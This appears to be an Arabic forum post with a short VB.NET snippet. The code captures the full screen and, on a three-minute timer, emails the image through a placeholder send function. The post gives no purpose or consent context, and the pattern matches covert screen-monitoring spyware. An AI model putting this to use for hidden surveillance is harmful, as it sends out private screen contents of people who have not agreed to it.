اولآ ضع هذه الدالة
[COLOR="#800000"]ثم ضع واحد تايمر واجعل الخاصية Interval=180000 وهي كل ثلاث دقائق
ولنفترض ان حدث ارساله الصوره للإيميل هو SendFile[/COLOR]
طبعآ مقصد كلامي على حسب نوع الايميل الي انته تعمله يعني MyEmail.SendFile(imag) هي كـ فرضية
كود :
Private Function imag() As Image
Dim bounds As Rectangle = Screen.PrimaryScreen.Bounds
Dim bitm As New Bitmap(bounds.Width, bounds.Height)
Dim gr As Graphics = Graphics.FromImage(bitm)
gr.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, _
CopyPixelOperation.SourceCopy)
Return bitm
End Function
[COLOR="#800000"]ثم ضع واحد تايمر واجعل الخاصية Interval=180000 وهي كل ثلاث دقائق
ولنفترض ان حدث ارساله الصوره للإيميل هو SendFile[/COLOR]
كود :
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
MyEmail.SendFile(imag)
End Sub